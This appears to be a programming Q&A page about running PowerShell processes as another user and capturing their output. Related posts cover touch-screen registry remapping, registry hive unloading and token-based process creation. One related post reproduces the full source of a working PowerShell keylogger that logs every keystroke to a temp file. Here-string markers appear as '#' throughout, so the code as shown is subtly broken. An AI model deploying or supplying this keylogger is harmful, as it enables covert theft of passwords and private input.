Capturing output/error in PowerShell of process running as other user - windows

This is a variation of a question that has been asked and answered before.
The variation lies in using UserName and Password to set up the System.Diagnostics.ProcessStartInfo object. In this case, we're not able to read the output and error streams of the process – which makes sense because the process does not belong to us!
But even so, we've spawned the process so it should be possible to capture the output.
I suspect that this is a duplicate but it seems to have been misunderstood in the answer section.

You can capture the output streams from an (invariably non-elevated) process you've launched with a different user identity, as the following self-contained example code shows:
Note:
Does not work if you execute the command via PowerShell remoting, such as via Invoke-Command -ComputerName, including JEA.
See the bottom section for a - cumbersome - workaround.
However, this workaround is not needed with JEA, as you report in a comment:
JEA sessions actually support RunAsCredential (in addition to virtual accounts and group-managed service accounts) such that we can simply run as the intended common user and thus obviate the need to change user context during the session.
Independently of whether you impersonate another user, you may also run into the infamous double-hop problem when accessing network resources in the remote session, as Ash notes.
The code prompts for the target user's credentials.
The working directory must be set to a directory path that the target user is permitted to access, and defaults to their local profile folder below - assuming it exists; adjust as needed.
Stdout and stderr output are captured separately, in full, as multi-line strings.
If you want to merge the two streams, call your target program via a shell and use its redirection features (2>&1).
The example call below performs a call to a shell, namely cmd.exe via its /c parameter, outputting one line to stdout, the other to stderr (>&2). If you modify the Arguments = ... line as follows, the stderr stream would be merged into the stdout stream:
Arguments = '/c "(echo success & echo failure >&2) 2>&1"'
The code works in both Windows PowerShell and PowerShell (Core) 7+, and guards against potential deadlocks by reading the streams asynchronously.[1]
In the install-on-demand, cross-platform PowerShell (Core) 7+ edition, the implementation is more efficient, as it uses dedicated threads to wait for the asynchronous tasks to complete, via ForEach-Object -Parallel.
In the legacy, ships-with-Windows Windows PowerShell edition, periodic polling, interspersed with Start-Sleep calls, must be used to see if the asynchronous tasks have completed.
If you only need to capture one stream, e.g., only stdout, if you've merged stderr into it (as described above), the implementation can be simplified to a synchronous $stdout = $ps.StandardOutput.ReadToEnd() call, as shown in this answer.
# Prompt for the target user's credentials.
$cred = Get-Credential
# The working directory for the new process.
# IMPORTANT: This must be a directory that the target user is permitted to access.
# Here, the target user's local profile folder is used.
# Adjust as needed.
$workingDir = Join-Path (Split-Path -Parent $env:USERPROFILE) $cred.UserName
# Start the process.
$ps = [System.Diagnostics.Process]::Start(
[System.Diagnostics.ProcessStartInfo] #{
FileName = 'cmd'
Arguments = '/c "echo success & echo failure >&2"'
UseShellExecute = $false
WorkingDirectory = $workingDir
UserName = $cred.UserName
Password = $cred.Password
RedirectStandardOutput = $true
RedirectStandardError = $true
}
)
# Read the output streams asynchronously, to avoid a deadlock.
$tasks = $ps.StandardOutput.ReadToEndAsync(), $ps.StandardError.ReadToEndAsync()
if ($PSVersionTable.PSVersion.Major -ge 7) {
# PowerShell (Core) 7+: Wait for task completion in background threads.
$tasks | ForEach-Object -Parallel { $_.Wait() }
} else {
# Windows PowerShell: Poll periodically to see when both tasks have completed.
while ($tasks.IsComplete -contains $false) {
Start-Sleep -MilliSeconds 100
}
}
# Wait for the process to exit.
$ps.WaitForExit()
# Sample output: exit code and captured stream contents.
[pscustomobject] #{
ExitCode = $ps.ExitCode
StdOut = $tasks[0].Result.Trim()
StdErr = $tasks[1].Result.Trim()
} | Format-List
Output:
ExitCode : 0
StdOut : success
StdErr : failure
If running as a given user WITH ELEVATION (as admin) is required:
By design, you cannot both request elevation with -Verb RunAs and run with a different user identity (-Credential) in a single operation - neither with Start-Process nor with the underlying .NET API, System.Diagnostics.Process.
If you request elevation and you're an administrator yourself, the elevated process will run as you - assuming you've confirmed the Yes / No form of the UAC dialog presented.
Otherwise, UAC will present a credentials dialog, requiring you to provide an administrator's credentials - and there's no way to preset these credentials, not even the username.
By design, you cannot directly capture output from an elevated process you've launched - even if the elevated process runs with your own identity.
However, if you launch a non-elevated process as a different user, you can capture the output, as shown in the top section.
To get what you're looking for requires the following approach:
You need two Start-Process calls:
The first one to launch an - of necessity - non-elevated process as the target user (-Credential)
A second one launched from that process to request elevation, which then elevates in the context of the target user, assuming they're an administrator.
Because you can only capture output from inside the elevated process itself, you'll need to launch your target program via a shell and use its redirection (>) features to capture output in files.
Unfortunately, this makes for a nontrivial solution, with many subtleties to consider.
Here's a self-contained example:
It executes the commands whoami and net session (which only succeeds in an elevated session) and captures their combined stdout and stderr output in file out.txt in the specified working directory.
It executes synchronously, i.e. it waits for the elevated target process to exit before continuing; if that isn't a requirement Remove -PassThru and the enclosing (...).WaitForExit(), as well as -Wait from the nested Start-Process call.
Note: The reason that -Wait cannot also be used in the outer Start-Process call is a bug, still present as of PowerShell 7.2.2. - see GitHub issue #17033.
As instructed in the source-code comments:
when you're prompted for the target user's credentials, be sure to specify an administrator's credentials, to ensure that elevation with that user's identity succeeds.
in $workingDir, specify a working directory that the target user is permitted to access, even from a non-elevated session. The target user's local profile is used by default - assuming it exists.
# Prompt for the target user's credentials.
# IMPORTANT: Must be an *administrator*
$cred = Get-Credential
# The working directory for both the intermediate non-elevated
# and the ultimate elevated process.
# IMPORTANT: This must be a directory that the target user is permitted to access,
# even when non-elevated.
# Here, the target user's local profile folder is used.
# Adjust as needed.
$workingDir = Join-Path (Split-Path $env:USERPROFILE) $cred.UserName
(Start-Process -PassThru -WorkingDirectory $workingDir -Credential $cred -WindowStyle Hidden powershell.exe #'
-noprofile -command Start-Process -Wait -Verb RunAs powershell \"
-noexit -command `"Set-Location -LiteralPath \`\"$($PWD.ProviderPath)\`\"; & { whoami; net session } 2>&1 > out.txt`"
\"
'#).WaitForExit()
Launching a process as another user in the context of PowerShell remoting (WinRM)
You yourself discovered this answer, which explains that the CreateProcessWithLogon() Windows API function - which .NET (and therefore PowerShell) uses under the hood when starting a process as another user - won't work in batch-logon scenarios, as used by services such as WinRM. A call to CreateProcessAsUser() is required instead, which can be passed a batch-logon user token explicitly created beforehand with LogonUser().
The following self-contained example builds on this C#-based answer, but there are important prerequisites and limitations:
The calling user account must be granted the SE_ASSIGNPRIMARYTOKEN_NAME aka "SeAssignPrimaryTokenPrivilege" aka "Replace a process level token" privilege.
Interactively, you can use secpol.msc to modify user privileges (Local Policy > User Rights Assignment); after modification, a logoff / reboot is required.
If the caller is missing this privilege, you'll get an error stating A required privilege is not held by the client.
The target user account must be a member of the Administrators group.
If the target user isn't in that group, you'll get an error stating The handle is invalid.
No attempt is made to the capture the target process' output in memory; instead, the process calls cmd.exe and uses its redirection operator (>) to send the output to a file.
# Abort on all errors.
$ErrorActionPreference = 'Stop'
Write-Verbose -Verbose 'Compiling C# helper code...'
Add-Type #'
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security;
public class ProcessHelper
{
static ProcessHelper()
{
UserToken = IntPtr.Zero;
}
private static IntPtr UserToken { get; set; }
// Launch and return right away, with the process ID.
// CAVEAT: While you CAN get a process object with Get-Process -Id <pidReturned>, and
// waiting for the process to exit with .WaitForExit() does work,
// you WON'T BE ABLE TO QUERY THE EXIT CODE:
// In PowerShell, .ExitCode returns $null, suggesting that an exception occurs,
// which PowerShell swallows.
// https://learn.microsoft.com/en-US/dotnet/api/System.Diagnostics.Process.ExitCode lists only two
// exception-triggering conditions, *neither of which apply here*: the process not having exited yet, the process
// object referring to a process on a remote computer.
// Presumably, the issue is related to missing the PROCESS_QUERY_LIMITED_INFORMATION access right on the process
// handle due to the process belonging to a different user.
public int StartProcess(ProcessStartInfo processStartInfo)
{
LogInOtherUser(processStartInfo);
Native.STARTUPINFO startUpInfo = new Native.STARTUPINFO();
startUpInfo.cb = Marshal.SizeOf(startUpInfo);
startUpInfo.lpDesktop = string.Empty;
Native.PROCESS_INFORMATION processInfo = new Native.PROCESS_INFORMATION();
bool processStarted = Native.CreateProcessAsUser(UserToken, processStartInfo.FileName, processStartInfo.Arguments,
IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null,
ref startUpInfo, out processInfo);
if (!processStarted)
{
throw new Win32Exception(Marshal.GetLastWin32Error());
}
UInt32 processId = processInfo.dwProcessId;
Native.CloseHandle(processInfo.hProcess);
Native.CloseHandle(processInfo.hThread);
return (int) processId;
}
// Launch, wait for termination, return the process exit code.
public int RunProcess(ProcessStartInfo processStartInfo)
{
LogInOtherUser(processStartInfo);
Native.STARTUPINFO startUpInfo = new Native.STARTUPINFO();
startUpInfo.cb = Marshal.SizeOf(startUpInfo);
startUpInfo.lpDesktop = string.Empty;
Native.PROCESS_INFORMATION processInfo = new Native.PROCESS_INFORMATION();
bool processStarted = Native.CreateProcessAsUser(UserToken, processStartInfo.FileName, processStartInfo.Arguments,
IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null,
ref startUpInfo, out processInfo);
if (!processStarted)
{
throw new Win32Exception(Marshal.GetLastWin32Error());
}
UInt32 processId = processInfo.dwProcessId;
Native.CloseHandle(processInfo.hThread);
// Wait for termination.
if (Native.WAIT_OBJECT_0 != Native.WaitForSingleObject(processInfo.hProcess, Native.INFINITE)) {
throw new Win32Exception(Marshal.GetLastWin32Error());
}
// Get the exit code
UInt32 dwExitCode;
if (! Native.GetExitCodeProcess(processInfo.hProcess, out dwExitCode)) {
throw new Win32Exception(Marshal.GetLastWin32Error());
}
Native.CloseHandle(processInfo.hProcess);
return (int) dwExitCode;
}
// Log in as the target user and save the logon token in an instance variable.
private static void LogInOtherUser(ProcessStartInfo processStartInfo)
{
if (UserToken == IntPtr.Zero)
{
IntPtr tempUserToken = IntPtr.Zero;
string password = SecureStringToString(processStartInfo.Password);
bool loginResult = Native.LogonUser(processStartInfo.UserName, processStartInfo.Domain, password,
Native.LOGON32_LOGON_BATCH, Native.LOGON32_PROVIDER_DEFAULT,
ref tempUserToken);
if (loginResult)
{
UserToken = tempUserToken;
}
else
{
Native.CloseHandle(tempUserToken);
throw new Win32Exception(Marshal.GetLastWin32Error());
}
}
}
private static String SecureStringToString(SecureString value)
{
IntPtr stringPointer = Marshal.SecureStringToBSTR(value);
try
{
return Marshal.PtrToStringBSTR(stringPointer);
}
finally
{
Marshal.FreeBSTR(stringPointer);
}
}
public static void ReleaseUserToken()
{
Native.CloseHandle(UserToken);
}
}
internal class Native
{
internal const Int32 LOGON32_LOGON_BATCH = 4;
internal const Int32 LOGON32_PROVIDER_DEFAULT = 0;
internal const UInt32 INFINITE = 4294967295;
internal const UInt32 WAIT_OBJECT_0 = 0x00000000;
internal const UInt32 WAIT_TIMEOUT = 0x00000102;
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public UInt32 dwProcessId;
public UInt32 dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
internal struct STARTUPINFO
{
public int cb;
[MarshalAs(UnmanagedType.LPStr)]
public string lpReserved;
[MarshalAs(UnmanagedType.LPStr)]
public string lpDesktop;
[MarshalAs(UnmanagedType.LPStr)]
public string lpTitle;
public UInt32 dwX;
public UInt32 dwY;
public UInt32 dwXSize;
public UInt32 dwYSize;
public UInt32 dwXCountChars;
public UInt32 dwYCountChars;
public UInt32 dwFillAttribute;
public UInt32 dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public UInt32 nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
[DllImport("advapi32.dll", SetLastError = true)]
internal extern static bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, ref IntPtr phToken);
[DllImport("advapi32.dll", SetLastError = true)]
internal extern static bool CreateProcessAsUser(IntPtr hToken, string lpApplicationName,
string lpCommandLine, IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes, bool bInheritHandle, uint dwCreationFlags, IntPtr lpEnvironment,
string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll", SetLastError = true)]
internal extern static bool CloseHandle(IntPtr handle);
[DllImport("kernel32.dll", SetLastError = true)]
internal extern static UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true)]
internal extern static bool GetExitCodeProcess(IntPtr hProcess, out UInt32 lpExitCode);
}
'#
# Determine the path for the file in which process output will be captured.
$tmpFileOutput = 'C:\Users\Public\tmp.txt'
if (Test-Path -LiteralPath $tmpFileOutput) { Remove-Item -Force $tmpFileOutput }
$cred = Get-Credential -Message "Please specify the credentials for the user to run as:"
Write-Verbose -Verbose "Running process as user `"$($cred.UserName)`"..."
# !! If this fails with "The handle is invalid", there are two possible reasons:
# !! - The credentials are invalid.
# !! - The target user isn't in the Administrators groups.
$exitCode = [ProcessHelper]::new().RunProcess(
[System.Diagnostics.ProcessStartInfo] #{
# !! CAVEAT: *Full* path required.
FileName = 'C:\WINDOWS\system32\cmd.exe'
# !! CAVEAT: While whoami.exe correctly reflects the target user, the per-use *environment variables*
# !! %USERNAME% and %USERPROFILE% still reflect the *caller's* values.
Arguments = '/c "(echo Hi from & whoami & echo at %TIME%) > {0} 2>&1"' -f $tmpFileOutput
UserName = $cred.UserName
Password = $cred.Password
}
)
Write-Verbose -Verbose "Process exited with exit code $exitCode."
Write-Verbose -Verbose "Output from test file created by the process:"
Get-Content $tmpFileOutput
Remove-Item -Force -ErrorAction Ignore $tmpFileOutput # Clean up.
[1] The output from a process' redirected standard streams is buffered, and the process is blocked from writing more data when a buffer fills up, in which case it has to wait for the reader of the stream to consume the buffer. Thus, if you try to synchronously read to the end of one stream, you may get stuck if the other stream's buffer fills up in the meantime, and therefore blocks the process from finishing writing to the first stream.

Related

How can two of the same model USB touch screens be differentiated on Windows 10?

I have two of the same model touch screen monitors connected to a Windows 10 Machine. The monitors are connected with HDMI for image and USB for touch input.
When I plug everything in and set it up using the build-in calibration "multidigimon.exe" I can set everything up so the touch screens work as expected.
However after a restart sometimes the touch inputs are registered on the wrong screen, so touching the right screen makes stuff happen on the left, and touching on the left screen makes stuff happen on the right screen.
I've already tried to see if I can find a way to have a script correct the problem, here is what I've figured out so far:
multidigimon.exe writes registry keys in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wisp\Pen\Digimon. As the key it uses the Windows Object Manager path that corresponds to the USB touch device. As the value it uses the Windows Object Manager path that corresponds to the Display device. (I can see both of them with WinObj under "GLOBAL??").
Exporting the two entries into a .reg file look like this:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wisp\Pen\Digimon]
"20-\\\\?\\HID#VID_1FF7&PID_0F27&Col04#a&25dfa661&0&0003#{4d1e55b2-f16f-11cf-88cb-001111000030}"="\\\\?\\DISPLAY#IVM1A3E#5&1778d8b3&1&UID260#{e6f07b5f-ee97-4a90-b076-33f57bf4eaa7}"
"20-\\\\?\\HID#VID_1FF7&PID_0F27&Col04#a&29d74c67&0&0003#{4d1e55b2-f16f-11cf-88cb-001111000030}"="\\\\?\\DISPLAY#IVM1A3E#5&1778d8b3&1&UID256#{e6f07b5f-ee97-4a90-b076-33f57bf4eaa7}"
It consists of mostly the device instance path that can be seen in device manager under details for the device. In this case HID\VID_1FF7&PID_0F27&Col04\A&25DFA661&0&0003 and HID\VID_1FF7&PID_0F27&COL04\A&29D74C67&0&0003 the \ replaced with # and the class GUID also appended after another #. Info in part from this stackoverflow answer.
Part of the device instance path is explained in this stackoverflow answer, but that only explains it for USB devices, what I'm dealing with is a HID device. So the VID_XXXX and PID_XXXX seem to mean the same thing, but ColXX is not explained, the part after the last \ is the instance specific id.
After a restart it's random what actual touch HID device gets what instance specific id. So sometimes the right touch screen has the device instance path HID\VID_1FF7&PID_0F27&Col04\A&25DFA661&0&0003 and sometimes it has HID\VID_1FF7&PID_0F27&COL04\A&29D74C67&0&0003, this seems pretty random*. The left touch screen gets the device instance path that the right one dosen't have.
*It probably depends on what screen starts up faster (they automatically turn on when the PC boots). As when I unplug the touch screen devices USB after boot and plug in one at a time, the first one always gets the same instance specific id.
Is there a way to tell the difference between the two devices? Maybe get information about what USB Port it is plugged into somehow?
Found a way to do it using PowerShell with embedded C# that uses the Win32 API.
Devices on Windows are on a device tree. Windows provides ways to navigate that tree in Cfgmgr32.h. Since in my case the devices were USB devices, I could use USB Device Tree Viewer to visualize and experiment before writing code.
Strangely the TouchScreens I connected don't identify as a single USB device, but instead as multiple USB Hubs behind one another with some devices connected (and some ports not connected), while the displays don't offer any USB Ports to plug something in. USB Device Tree Viwer also displays the Child devices of USB devices, even the HID devices I was looking for.
After testing for a while with unplugging and replugging the TouchScreens in different USB Ports and looking at what USB Device Tree Viwer showd my I could see that the Device IDs (in reality it is the Device instance ID) don't always stay exactly the same. The Device instance ID is is made up of the device ID and instance id, sometimes the instance id completly changed after replugging the USB devices.
I could also note the part of the Location IDs that stayed the same for the USB Ports even after replugging and restarting windows.
So the steps I needed to take in order to make the touch screens work across restarts are:
Find the HID Devices staring with the specified Vendor and Product ID, Followed by COL04 that is connected to the right USB Port (checkd with the Location ID / Location Path).
Remove the old probably wrong values under the HKLM:\SOFTWARE\Microsoft\Wisp\Pen\Digimon
Add the newly found device paths in the right format as values in there. (Luckily the display devices keep the exact same path after restarts). I looked at the format after normally applying the touch screen to display mapping with the build in tools and just hacked together the right format with string interpolation.
Get Windows to read in the new configuration. For that I found that wisptis.exe dosen't exist at all on my machine. After some testing I found that just terminating dwm.exe makes windows read in the new config. It also blacks the screen for a moment ad dwm.exe ist the desktop window manager, but doing it right after startup dosen't cause any problems. Even windows that are opened stay at the same position.
I put all of that together into the following script, I've used the windows task scheduler to run this script after the system is booted (I can't run it any earlier as the screens boot up slower than the PC, so that the USB devices are only "plugged in" after the PC is booted):
$code = #"
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
public class Program
{
// Required Constants from cfgmgr32.h
public const int CM_LOCATE_DEVNODE_NORMAL = 0x00000000;
public const int CR_SUCCESS = 0x00000000;
public const int CM_DRP_LOCATION_PATHS = 0x00000024;
// The function that finds all devices starting with a specified device id that are connected through the specified
// connection (location path). Since not all devices directly have a location path it walks up the devicetree untill
// a node that hase a location path is found and then checks that path if it matches.
public static List<string> GetDeviceIdStartingWithAt(string match, string connection)
{
var devices = FindAllDevicesStartingWith(match);
var ret = new List<string>();
foreach (var device in devices)
{
IntPtr cur = device;
while (!HasLocationPath(cur))
{
IntPtr next;
int result = CM_Get_Parent(out next, cur, 0);
if (result != CR_SUCCESS) {
break;
}
cur = next;
}
bool mark = false;
foreach (var location in GetLocationPath(cur))
{
if (location.StartsWith(connection))
{
mark = true;
}
}
if (mark)
{
ret.Add(GetDeviceId(device));
}
}
return ret;
}
static List<IntPtr> FindAllDevicesStartingWith(string match)
{
IntPtr rootDevice;
CM_Locate_DevNodeA(out rootDevice, "", CM_LOCATE_DEVNODE_NORMAL);
return FindMatchingChildren(match, rootDevice);
}
// Recursive function that gets all children for a device and filters using the DeviceId to only return children
// whose deviceId starts as requested
static List<IntPtr> FindMatchingChildren(string match, IntPtr device)
{
var children = GetAllChildren(device);
var ret = new List<IntPtr>();
foreach (var child in children)
{
if (GetDeviceId(child).StartsWith(match))
{
ret.Add(child);
}
ret.AddRange(FindMatchingChildren(match, child));
}
return ret;
}
// Function implementing the way to get all direct children of a specified node as described here:
// https://learn.microsoft.com/en-us/windows/win32/api/cfgmgr32/nf-cfgmgr32-cm_get_child
static List<IntPtr> GetAllChildren(IntPtr device)
{
IntPtr firstChild;
if (CM_Get_Child(out firstChild, device, 0) != CR_SUCCESS)
{
return new List<IntPtr>();
}
var ret = new List<IntPtr>();
ret.Add(firstChild);
IntPtr cur = firstChild;
int result;
do
{
IntPtr next;
result = CM_Get_Sibling(out next, cur, 0);
if (result == CR_SUCCESS)
{
ret.Add(next);
cur = next;
}
} while (result == CR_SUCCESS);
return ret;
}
// Just a quick helper function that checks if a device has a Location Path, because not all devices do. In my
// testing devices that have a device ID starting with HID mostly don't have a location.
static bool HasLocationPath(IntPtr device)
{
Microsoft.Win32.RegistryValueKind kind;
uint length = 0;
CM_Get_DevNode_Registry_Property(device, CM_DRP_LOCATION_PATHS, out kind, IntPtr.Zero, ref length, 0);
return length > 0;
}
// Wrapper to easily get the Location paths, the one starting with PCIROOT seems to stay the same across restarts
// and also identifies what port something is connected to. The value returned is of type REG_MULTI_SZ
// REG_MULTI_SZ is explained here: https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry-value-types
static string[] GetLocationPath(IntPtr device)
{
Microsoft.Win32.RegistryValueKind kind;
uint length = 0;
CM_Get_DevNode_Registry_Property(device, CM_DRP_LOCATION_PATHS, out kind, IntPtr.Zero, ref length, 0);
if (length <= 0)
return Array.Empty<string>();
IntPtr buffer = Marshal.AllocHGlobal((int)length);
CM_Get_DevNode_Registry_Property(device, CM_DRP_LOCATION_PATHS, out kind, buffer, ref length, 0);
string ret = Marshal.PtrToStringUni(buffer, (int)length/2);
Marshal.FreeHGlobal(buffer);
return ret.Substring(0, ret.Length-2).Split('\0');
}
// Wrapper around CM_Get_Device_ID, dosen't check for errors
static string GetDeviceId(IntPtr device)
{
uint length = 0;
CM_Get_Device_ID_Size(ref length, device, 0);
IntPtr buffer = Marshal.AllocHGlobal((int)length + 1);
CM_Get_Device_ID(device, buffer, length + 1, 0);
string ret = Marshal.PtrToStringAnsi(buffer);
Marshal.FreeHGlobal(buffer);
return ret;
}
// Win32 Functions required to get data. More information can be found here:
// https://learn.microsoft.com/en-us/windows/win32/api/cfgmgr32/
[DllImport("cfgmgr32.dll", SetLastError = true)]
static extern int CM_Locate_DevNodeA(out IntPtr pdnDevInst, string pDeviceID, int ulFlags);
[DllImport("cfgmgr32.dll", SetLastError = true)]
static extern int CM_Get_DevNode_Registry_Property(
IntPtr deviceInstance,
uint property,
out Microsoft.Win32.RegistryValueKind pulRegDataType,
IntPtr buffer,
ref uint length,
uint flags);
[DllImport("cfgmgr32.dll", SetLastError = true)]
static extern int CM_Get_Parent(out IntPtr pdnDevInst, IntPtr dnDevInst, int uFlags);
[DllImport("cfgmgr32.dll", SetLastError = true)]
static extern int CM_Get_Child(out IntPtr pdnDevInst, IntPtr dnDevInst, int uFlags);
[DllImport("cfgmgr32.dll", SetLastError = true)]
static extern int CM_Get_Sibling(out IntPtr pdnDevInst, IntPtr dnDevInst, int uFlags);
[DllImport("cfgmgr32.dll", SetLastError = true)]
static extern int CM_Get_Device_ID(IntPtr pdnDevInst, IntPtr buffer, uint bufferLen, uint flags);
[DllImport("cfgmgr32.dll", SetLastError = true)]
static extern int CM_Get_Device_ID_Size(ref uint pulLen, IntPtr dnDevInst, uint flags);
}
"#
Add-Type -TypeDefinition $code -Language CSharp
# Find the two touch screen devices
do {
$left = [Program]::GetDeviceIdStartingWithAt("HID\VID_1FF7&PID_0F27&COL04", "PCIROOT(0)#PCI(0801)#PCI(0003)#USBROOT(0)#USB(1)#USB(3)")
$right = [Program]::GetDeviceIdStartingWithAt("HID\VID_1FF7&PID_0F27&COL04", "PCIROOT(0)#PCI(0801)#PCI(0004)#USBROOT(0)#USB(1)#USB(4)")
if ( ($left.Count -ge 1) -and ($right.Count -ge 1)) {
break
}
Start-Sleep 1
} while ($true)
if (($left.Count -gt 1) -or ($right.Count -gt 1)) {
# Too many matching devices found! Abort!
Return
}
# Truncate and convert them to lower case for use in the Registry Key
$left = $left.Substring(28, 12).ToLower()
$right = $right.Substring(28, 12).ToLower()
# Delete the old values in the registry
$properties = Get-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Wisp\Pen\Digimon
foreach ($property in $properties.PSObject.Properties) {
if ($property.Name.StartsWith("20-")) {
Remove-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Wisp\Pen\Digimon -Name $property.Name
}
}
# Adding the found devices in the registry. In my case the touch screens offer finger and pen input. The difference is Col04 and Col06 before the device instance id and after it 0003 or 0005
New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Wisp\Pen\Digimon -Name "20-\\?\HID#VID_1FF7&PID_0F27&Col04#$left&0003#{4d1e55b2-f16f-11cf-88cb-001111000030}" -PropertyType String -Value "\\?\DISPLAY#IVM1A3E#5&1778d8b3&1&UID256#{e6f07b5f-ee97-4a90-b076-33f57bf4eaa7}"
New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Wisp\Pen\Digimon -Name "20-\\?\HID#VID_1FF7&PID_0F27&Col06#$left&0005#{4d1e55b2-f16f-11cf-88cb-001111000030}" -PropertyType String -Value "\\?\DISPLAY#IVM1A3E#5&1778d8b3&1&UID256#{e6f07b5f-ee97-4a90-b076-33f57bf4eaa7}"
New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Wisp\Pen\Digimon -Name "20-\\?\HID#VID_1FF7&PID_0F27&Col04#$right&0003#{4d1e55b2-f16f-11cf-88cb-001111000030}" -PropertyType String -Value "\\?\DISPLAY#IVM1A3E#5&1778d8b3&1&UID260#{e6f07b5f-ee97-4a90-b076-33f57bf4eaa7}"
New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Wisp\Pen\Digimon -Name "20-\\?\HID#VID_1FF7&PID_0F27&Col06#$right&0005#{4d1e55b2-f16f-11cf-88cb-001111000030}" -PropertyType String -Value "\\?\DISPLAY#IVM1A3E#5&1778d8b3&1&UID260#{e6f07b5f-ee97-4a90-b076-33f57bf4eaa7}"
# To apply the settings change the Desktop Window Manager is stopped. This dosen't look great as both screens flash black for a second before a new dwm instance is automatically started.
# There is probably a way to send some message to the dwm to read the configuration, but I haven't found it anywhere.
Stop-Process -Name dwm -Force

Get-ChildItem "REGISTRY::$path" is locking my registry hive

I'm using the unmanaged Windows API RegLoadKey within PowerShell to mount registry hives offline.
That works fine, and outside of PowerShell everything works as expected - once mounted I can browse to them in regedit.exe, and manipulate them and so on.
However, if I use Get-ChildItem I can then no longer dismount the hive. RegUnloadKey returns a value of 5 which is "Access Denied". This does NOT happen if I simply don't touch the registry key from within PowerShell
The code is very very simply, I can replicate it as such:
Add-Type -Name LoadHive -NameSpace RegistryHelper -MemberDefinition #"
[DllImport("advapi32.dll", SetLastError = true)]
public static extern Int32 RegLoadKey(UInt32 hKey, String lpSubKey, String lpFile);
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern Int32 RegUnLoadKey(UInt32 hKey, string lpSubKey);
"#
$hiveMountPoint = 2147483651 (This is the built-in constant for HKEY_USERS)
$hiveMountName = "TEMP-HIVE"
$hivePath = [Filepath to offline hive]
[RegistryHelper.LoadHive]::RegLoadKey($hiveMountPoint, $hiveMountName, $hivePath)
$hiveKeys = Get-ChildItem "REGISTRY::HKEY_USERS\TEMP-HIVE"
[RegistryHelper.LoadHive]::RegUnLoadKey($hiveMountPoint, $hiveMountName)
I'm using RegUnLoadKey to dismount. Can anybody shed some light on why Get-ChildItem is locking me out here?
Get-ChildItem is agnostic to the underlying provider (FileSystem, Registry ...). So even if you use Interop to load the hive, Powershell is not aware of that and the Registry Provider will return RegistryKey objects. These objects contains a Handle property that probably prevent you to close the hive gracefully. You should call Close method on all keys stored in $hiveKeys before unloading the hive to close all handles.

Why is `$null = [console]::CapsLock` needed for making the keylogger function properly?

For edution purposes only, I have studied the below (simple) keylogger for how it works.
After examining the code, I decided that $null = [console]::CapsLock did not serve any purpose, so I removed it
$null = [console]::CapsLock is a .NET API for getting current state of CapsLock.
However, the keylogger does not work properly without this statement. Why is that?
https://gist.githubusercontent.com/dasgoll/7ca1c059dd3b3fbc7277/raw/e4e3a530589dac67ab6c4c2428ea90de93b86018/gistfile1.txt
#requires -Version 2
function Start-KeyLogger($Path="$env:temp\keylogger.txt")
{
# Signatures for API Calls
$signatures = #'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'#
# load signatures and make members available
$API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
# create output file
$null = New-Item -Path $Path -ItemType File -Force
try
{
Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red
# create endless loop. When user presses CTRL+C, finally-block
# executes and shows the collected key presses
while ($true) {
Start-Sleep -Milliseconds 40
# scan all ASCII codes above 8
for ($ascii = 9; $ascii -le 254; $ascii++) {
# get current key state
$state = $API::GetAsyncKeyState($ascii)
# is key pressed?
if ($state -eq -32767) {
$null = [console]::CapsLock
# translate scan code to real code
$virtualKey = $API::MapVirtualKey($ascii, 3)
# get keyboard state for virtual keys
$kbstate = New-Object Byte[] 256
$checkkbstate = $API::GetKeyboardState($kbstate)
# prepare a StringBuilder to receive input key
$mychar = New-Object -TypeName System.Text.StringBuilder
# translate virtual key
$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
if ($success)
{
# add key to logger file
[System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
}
}
}
}
}
finally
{
# open logger file in Notepad
notepad $Path
}
}
# records all key presses until script is aborted by pressing CTRL+C
# will then open the file with collected key codes
Start-KeyLogger

why is CreateProcessWithTokenW failing with ERROR_ACCESS_DENIED

I have a call to CreateProcessWithTokenW that is failing with access denied. Any ideas how to debug this?
The call to CreateProcessWithTokenW is here: https://github.com/fschwiet/PShochu/blob/master/PShochu/PInvoke/NetWrappers/ProcessUtil.cs
